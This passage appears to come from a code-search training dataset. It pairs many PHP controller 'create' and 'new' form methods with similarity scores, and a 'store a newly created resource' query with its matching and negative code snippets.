$objEdit interface_model|class_model */\r\n $objEdit = new $strType();\r\n\r\n\r\n $objForm = $this->getAdminForm($objEdit);\r\n $objForm->getObjSourceobject()->setSystemid($this->getParam(\"systemid\"));\r\n $objForm->addField(new class_formentry_hidden(\"\", \"mode\"))->setStrValue(\"new\");\r\n\r\n return $objForm->renderForm(getLinkAdminHref($this->getArrModule(\"modul\"), \"save\" . $this->getStrCurObjectTypeName()));\r\n }\r\n else\r\n throw new class_exception(\"error creating new entry current object type not known \", class_exception::$level_ERROR);\r\n }", "public function create()\n {\n\n return view('control panel.student.add');\n\n }", "public function create()\n {\n return view('sapiadm.create'); }", "public function createAction(){\n $action = \"new\";\n $actionText = \"Create Book\";\n // create empty book...\n $book = new Book();\n require_once('views/bookForm.php');\n }", "public function createAction() : object\n {\n $page = $this->di->get(\"page\");\n $form = new CreateForm($this->di);\n $form->check();\n\n $page->add(\"questions/crud/create\", [\n \"form\" => $form->getHTML(),\n ]);\n\n return $page->render([\n \"title\" => \"Create a item\",\n ]);\n }", "public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }", "public function create()\n\t{\n\t\t// Set the title\n\t\t$this->template->title(lang('calendars:button:new_calendar'));\n\n\t\t// If this is a post, set the str_id\n\t\tif ($_POST)\n\t\t{\n\n\t\t\t// Set the str_id\n\t\t\t$_POST['str_id'] = rand_string(10);\n\n\t\t\t// Set default colors\n\t\t\tif ( empty($_POST['bg_color']) ) $_POST['bg_color'] = '3366cc';\n\t\t\tif ( empty($_POST['text_color']) ) $_POST['text_color'] = 'ffffff';\n\t\t\tif ( ! isset($_POST['sharing']) ) $_POST['sharing'] = NULL;\n\t\t}\n\n\t\t/* Start normal Streams_Core stuff\n\t\t----------------------------------------------------------------------------*/\n\n\t\t// Set some shit\n\t\t$extra = array(\n\t\t\t'return'\t\t\t=> 'admin/calendars',\n\t\t\t'success_message'\t=> lang('calendars:success:new_calendar'),\n\t\t\t'failure_message'\t=> lang('calendars:error:new_calendar'),\n\t\t\t'title'\t\t\t\t=> lang('calendars:button:new_calendar'),\n\t\t);\n\n\t\t// We will set these ourselves\n\t\t$skip = array('str_id');\n\n\t\t// Build it\n\t\t$this->streams->cp->entry_form('calendars', 'calendars', $mode = 'new', null, true, $extra, $skip, $this->_tabs);\n\t}", "public function create()\n {\n return view('sapis.create');\n }", "public function create()\n {\n // Show the page\n return view('admin.producer.create_edit');\n }", "public function create()\n {\n return view('student::students.student.create');\n }", "public function create()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.create\")) {\n $view = \"admin.{$this->name}.create\";\n } else {\n $view = 'admin.includes.actions.create';\n }\n\n /* Show the form for creating a new resource. */\n return view($view)\n ->with('name', $this->name);\n }", "public function create()\n {\n return view(\"request_form.form\");\n }", "public function create()\n {\n return view('backend.student.form');\n }", "function create_new() {\n if($this->table_title != '' ) {\n $this->title = 'New ' . $this->table_title .\n $this->makeForm();\n }\n }", "public function action_create()\n {\n $this->action_edit(FALSE);\n }", "public function create()\n {\n return view ('forms.create');\n }", "public function create()\n {\n return view('essentials::create');\n }", "public function newAction() {\n\t\t\n\t\t$this->view->form = $this->getForm ( \"/admin/invoices/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Invoice\");\n\t\t$this->view->description = $this->translator->translate(\"Create a new invoice using this form.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/invoices/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\n\t\t$this->render ( 'applicantform' );\n\t}", "public function create()\n {\n return view('dashboard.admin.regulasi.create');\n }", "public function create()\n {\n return view($this->forms . '.create');\n }", "public function actionNew()\n {\n $form = new \\Foundation\\Form;\n $form->setCSRFToken($this->getCSRFToken());\n $form->setAction($this->path(\"manage/schools/new\"));\n $field = $form->newField();\n $field->setLegend('New School');\n \n $element = $field->newElement('TextInput', 'name');\n $element->setLabel('Name');\n $element->addValidator(new \\Foundation\\Form\\Validator\\NotEmpty($element));\n\n $element = $field->newElement('TextInput', 'code');\n $element->setLabel('Code');\n $element->addValidator(new \\Foundation\\Form\\Validator\\NotEmpty($element));\n\n $element = $field->newElement('TextInput', 'city');\n $element->setLabel('City');\n $element->addValidator(new \\Foundation\\Form\\Validator\\MaximumLength($element, 64));\n\n $element = $field->newElement('TextInput', 'state');\n $element->setLabel('State');\n $element->addValidator(new \\Foundation\\Form\\Validator\\MaximumLength($element, 64));\n\n $element = $field->newElement('TextInput', 'country');\n $element->setLabel('Country');\n $element->addValidator(new \\Foundation\\Form\\Validator\\MaximumLength($element, 64));\n\n $element = $field->newElement('TextInput', 'postalCode');\n $element->setLabel('Postal Code');\n $element->addValidator(new \\Foundation\\Form\\Validator\\MaximumLength($element, 10));\n\n $element = $field->newElement('Textarea', 'searchTerms');\n\n $form->newButton('submit', 'Save');\n $this->setVar('form', $form);\n if ($input = $form->processInput($this->post)) {\n $school = new \\Jazzee\\Entity\\School();\n $school->setName($input->get('name'));\n $school->setCode($input->get('code'));\n $school->setCity($input->get('city'));\n $school->setState($input->get('state'));\n $school->setCountry($input->get('country'));\n $school->setPostalCode($input->get('postalCode'));\n $school->setSearchTerms($input->get('searchTerms'));\n $this->_em->persist($school);\n $this->addMessage('success', \"New School Saved\");\n $this->redirectPath('manage/schools');\n }\n }", "public function create()\n {\n return view('student.add');\n }", "public function create()\n {\n //\n return $this->render('create');\n\n }", "public function create()\n\t{\n\t\treturn view('admin.estadoflete.new');\n\t}", "public function newAction(){\n\t\t$entity = new Reserva();\n\t\t$form = $this->createCreateForm($entity);\n\n\t\treturn $this->render('LIHotelBundle:Reserva:new.html.twig', array(\n\t\t\t'entity' => $entity,\n\t\t\t'form' => $form->createView(),\n\t\t));\n\t}", "public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function createAction()\n {\n $post_request = (array) $this->postZingRequest();\n\n /** Handle the request */\n $errors = $this->_handleRequest($post_request);\n\n $api_manager = $this->get('zing.core.api.api');\n\n return $this->renderAdmin('ZingComponentPollBundle:Default:question/form.html.twig', array_merge(array_merge(array(\n 'zing_form_action' => 'create',\n 'zing_form_errors' => $errors,\n 'user_key' => $api_manager->createUserApiKey()\n ),\n array('post_request' => $post_request)\n ), $post_request));\n }", "public function newAction()\n {\n $societe = new Societe();\n\n $form = $this->createCreateForm($societe);\n\n $pages = array();\n $pages['Sociétés'] = \"movibe_backend_societe\";\n $pages['Creation'] = \"\";\n $this->breadcrumb($pages);\n\n return $this->render('MovibeBackendBundle:Societe:new.html.twig', array(\n 'societe' => $societe,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n\t{\n\t\treturn View::make('new_entry');\n\t}", "public function newAction()\n {\n //Add Resource\n $this->_addResource();\n\n //Add toolbar button\n $this->_toolbar->addSaveButton();\n $this->_toolbar->addCancelButton('index');\n\n $menu_items = MenuItems::find();\n $form = new MenuTypeForm();\n\n if ($this->request->isPost()) {\n $menuType = new MenuTypes();\n if ($form->isValid($_POST, $menuType)) {\n $this->saveMenuDetails($menuType);\n } else {\n $this->flashSession->error('gb_please_check_required_filed');\n }\n }\n\n $this->view->setVar('form', $form);\n $this->view->setVar('menu_items', $menu_items);\n }", "public function create()\n {\n return $this->form->render('mconsole::personal.form');\n }", "public function create()\n {\n return view('backend.singers.addnew');\n }", "public function create()\n\t{\t\n\t\t\n\t\t// load the create form (app/views/fbf_presenca/create.blade.php)\n\t\t$this->layout->content = View::make('fbf_presenca.create')\n;\n\t}", "public function create()\n {\n $resource = (new AclResource())->AclResource;\n\n //dd($resource);\n return view('Admin.acl.role.form', [\n 'resource' => $resource\n ]);\n }", "public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}", "public function create ()\n {\n return view('forms.create');\n }", "public function create()\n {\n \treturn view('sprzet_jednorazowy.create');\n }", "private function createCreateForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_create'),\n 'method' => 'POST',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }", "public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n $state = State::select(DB::raw(\"CONCAT(initials,' - ',name) AS name\"),'id')\n ->orderBy('name','asc')->pluck('name','id')->toArray();\n\n $form = \\FormBuilder::create(RegisterFinishForm::class,[\n 'url' => route('documents.store'),\n 'method' => 'POST',\n 'data' => ['state' => $state, 'county' => []]\n ]);\n\n return view('adminlte::modules.register.finish.create',compact('form'));\n }", "public function create()\n {\n $data = array();\n $data['formObj'] = $this->modelObj;\n $data['page_title'] = \"Add \".$this->module;\n $data['action_url'] = $this->moduleRouteText.\".store\";\n $data['action_params'] = 0;\n $data['buttonText'] = \"Save\";\n $data[\"method\"] = \"POST\"; \n\n return view($this->moduleViewName.'.add', $data);\n }", "public function new_form(){\n $this->vars['page_header'] = __('Create New Service', 'latepoint');\n $this->vars['breadcrumbs'][] = array('label' => __('Create New Service', 'latepoint'), 'link' => false );\n\n $this->vars['category'] = new OsServiceCategoryModel();\n\n if($this->get_return_format() == 'json'){\n $response_html = $this->render($this->views_folder.'new_form', 'none');\n echo wp_send_json(array('status' => 'success', 'message' => $response_html));\n exit();\n }else{\n echo $this->render($this->views_folder . 'new_form', $this->get_layout());\n }\n }", "public function create()\n {\n return \"Formulário para cadastrar um novo cliente.\";\n }", "public function create()\n {\n //\n return view(\"Admin.Abs.add\");\n }", "public function create()\n {\n return view(\"familiasPrograma.create\");\n }", "public function newAction()\n {\n\t\tTag::appendTitle('Create Article');\n }", "public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}", "public function create()\n {\n return view(\"Add\");\n }", "public static function display_create_form(){\n echo \"<form action='../../Controllers/charity_controller.class.php?action=save' method='post'>\";\n echo \"Name: <input type='text' name='name' /><br />\";\n echo \"Description: <textarea name='description'></textarea><br />\";\n echo \"<input type='submit' value='Save' />\";\n echo \"</form>\";\n }", "public function create()\n {\n return view('sucursals.create');\n }", "public function create()\n {\n return view('sejarah.create');\n }", "public function create()\n {\n return view('Samples.create', [\n 'create' => new FormBuilder(\n [\n 'title'=>'text',\n 'slug'=>'text',\n 'type_id'=>'hidden',\n 'id'=>'hidden' \n ],\n ['samples.store'],\n 'POST',\n 'Create'\n ) \n ]);\n }", "public function create()\n\t\t{\n\t\t\treturn view('kuesioner.create');\n\t\t}", "public function create()\n {\n return view('crud/add'); }", "public function create()\n\t{\n\t\treturn View::make('supplier.create');\n\t}", "public function newAction()\n {\n $entity = new Entreprise();\n $form = $this->createCreateForm($entity);\n $erreur = \"\";\n\n return $this->render('KbhGestionCongesBundle:Admin\\Entreprise:new.html.twig', array(\n 'entity' => $entity,\n 'erreur' => $erreur,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view('admin.siswa.create');\n }", "public function create()\n {\n return view('frontend.pages.student.create');\n }", "public function create()\n {\n return view('SG/Thematic/create');\n }", "public function newAction()\n {\n $reserva = new Reserva();\n $form = $this->createCreateForm($reserva);\n\n return $this->render('reserva/new.html.twig', array(\n 'reserva' => $reserva,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view('admin.student.create');\n }", "public function create()\n {\n $template = (object) $this->template;\n $form = $this->form();\n return view('admin.disposisi.create', compact('template','form'));\n }", "public function create()\n {\n $title = $this->title;\n $subtitle = \"Adicionar cliente\";\n\n return view('admin.clients.form', compact('title', 'subtitle'));\n }", "public function create()\n {\n //加载模板\n return view('Admin.Req.add');\n }", "public function create()\n\t{\n\t\treturn view('loisier/create');\n\t}", "public function create()\n {\n return view('sos.create');\n }", "public function create()\n {\n $title = trans('entry_mode.new');\n return view('layouts.create', compact('title'));\n }", "public function newAction()\n {\n $entity = new Species();\n $form = $this->createForm(new SpeciesType(), $entity);\n\n return $this->render('InfectBackendBundle:Species:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n\t{\n\t\treturn view('faith.form');\n\t}", "public function actionCreate()\n\t{\n\t\t\n\t\t//$data['model'] = new ClientForm();\n\n\t\t//$data['action'] = 'add';\n\t\t\n\t\t//$model=new Client;\n\t\t//$DPmodel=new Driverparticular;\n\t\t$data['modelBroker'] = new Broker;\n\t\t$data['model'] = new ClientForm();\n\t \t$data['DPmodel'] = new DriverParticularForm();\n\t\t$data['action'] = 'add';\n\t\t$data['i'] = 0;\n\t\t\n\t\t$this->render('_form', $data);\n\n\t\t\n\n\t}", "function create()\n {\n \treturn view('transaksi.create');\n }", "public function create()\n {\n return view('admin.data.restos.create');\n }", "public function create()\n {\n return view('rasp.create');\n }", "public function newAction()\n {\n $typeSeance = new TypeSeance();\n\n $form = $this->createCreateForm($typeSeance);\n\n $pages = array();\n $pages['Types de Séance '] = \"movibe_backend_typeSeance\";\n $pages['Creation'] = \"\";\n $this->breadcrumb($pages);\n\n return $this->render('MovibeBackendBundle:TypeSeance:new.html.twig', array(\n 'typeSeance' => $typeSeance,\n 'form' => $form->createView(),\n ));\n }", "public function newAction(): void\n {\n $this->view->form = new AnaForm(null, ['edit' => true]);\n }", "public function create()\n {\n\t\treturn view('pages.record.create');\n }", "public function create()\n {\n //\n\n return view('suplier.create');\n }", "public function create()\n {\n return view(\"dresses.form\");\n }", "public function add_new_resource() {\n // @codingStandardsIgnoreLine\n $add_resource_name = wc_clean( $_POST['add_resource_name'] );\n\n if ( empty( $add_resource_name ) ) {\n wp_send_json_error();\n }\n\n $resource = array(\n 'post_title' => $add_resource_name,\n 'post_content' => '',\n 'post_status' => 'publish',\n 'post_author' => dokan_get_current_user_id(),\n 'post_type' => 'bookable_resource',\n );\n $resource_id = wp_insert_post( $resource );\n $edit_url = dokan_get_navigation_url( 'booking' ) . 'resources/edit/?id=' . $resource_id;\n ob_start();\n ?>\n <tr>\n <td><a href=\"<?php echo $edit_url; ?>\"><?php echo $add_resource_name; ?></a></td>\n <td><?php esc_attr_e( 'N/A', 'dokan' ); ?></td>\n <td>\n <a class=\"dokan-btn dokan-btn-sm dokan-btn-theme\" href =\"<?php echo $edit_url; ?>\"><?php esc_attr_e( 'Edit', 'dokan' ); ?></a>\n <button class=\"dokan-btn dokan-btn-theme dokan-btn-sm btn-remove\" data-id=\"<?php echo $resource_id; ?>\"><?php esc_attr_e( 'Remove', 'dokan' ); ?></button>\n </td>\n </tr>\n\n <?php\n $output = ob_get_clean();\n wp_send_json_success( $output );\n }", "public function create()\n {\n return view('study.create');\n return \"Aquí formulario de crear estudios\";\n }", "public function create()\n {\n return view('admin.formation.create');\n }" ]
[ "0.73566353", "0.72992593", "0.7295698", "0.72891635", "0.71331674", "0.70913637", "0.7002496", "0.69729227", "0.6958176", "0.69219977", "0.68908817", "0.68908817", "0.68682015", "0.68479043", "0.6788473", "0.6784795", "0.6781398", "0.6754327", "0.67493963", "0.67361504", "0.67304915", "0.67233145", "0.67192423", "0.67171705", "0.670124", "0.66749454", "0.66639215", "0.66537344", "0.6648947", "0.6644127", "0.6642641", "0.66240895", "0.661695", "0.6612588", "0.6609286", "0.6608596", "0.66028655", "0.65989596", "0.6590295", "0.65901625", "0.658683", "0.65856344", "0.65834", "0.65806186", "0.65803313", "0.6579908", "0.6579738", "0.6579682", "0.6578647", "0.6575862", "0.65747935", "0.6570551", "0.656968", "0.6567093", "0.6565535", "0.6560665", "0.6555885", "0.6547416", "0.65471435", "0.65440804", "0.6542701", "0.65301716", "0.65261835", "0.6520965", "0.652065", "0.65181375", "0.650932", "0.65079546", "0.65060115", "0.6505633", "0.650333", "0.65002203", "0.64991057", "0.6498489", "0.6496736", "0.64961624", "0.6495854", "0.6495569", "0.6486286", "0.64834887", "0.64829695", "0.647875", "0.647807", "0.6473612", "0.6473386", "0.64728945", "0.64687705", "0.64686733", "0.6467263", "0.6464831", "0.64637774", "0.6461398", "0.6460429", "0.64601654", "0.6458302", "0.64570856", "0.645594", "0.6455146", "0.6454288", "0.64539194", "0.64528173" ]
0.0
-1
Store a newly created resource in storage.
public function store(Request $request) { $request->validate([ 'root' => 'required', 'name' => 'required|min:2|max:50|unique:categories', 'status' => 'required' ]); try { Category::create([ 'root' => $request->root, 'name' => $request->name, 'slug' => slugify($request->name), 'status' => $request->status, 'created_by' => Auth::id(), ]); setMessage('success', 'Yeh! A Category Has Been Successfully Updated'); } catch (Exception $exception) { setMessage('danger', 'Something Wrong'); } //session()->flash('success', 'Yeh! A Brand Has Been Successfully Created.'); return redirect()->back(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store($data, Resource $resource);", "public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }", "public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }", "public function createStorage();", "public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "function storeAndNew() {\n $this->store();\n }", "public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }", "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}" ]
[ "0.72865677", "0.7145327", "0.71325725", "0.6640912", "0.66209733", "0.65685713", "0.652643", "0.65095705", "0.64490104", "0.637569", "0.63736665", "0.63657933", "0.63657933", "0.63657933", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437" ]
0.0
-1
Display the specified resource.
public function show($id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Resource $resource)\n {\n // not available for now\n }", "public function show(Resource $resource)\n {\n //\n }", "function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }", "private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }", "function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}", "public function show(ResourceSubject $resourceSubject)\n {\n //\n }", "public function show(ResourceManagement $resourcesManagement)\n {\n //\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function retrieve(Resource $resource);", "public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }", "public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function show(Dispenser $dispenser)\n {\n //\n }", "public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }", "public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}", "public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }", "function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}", "public function show($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.show\")) {\n $view = 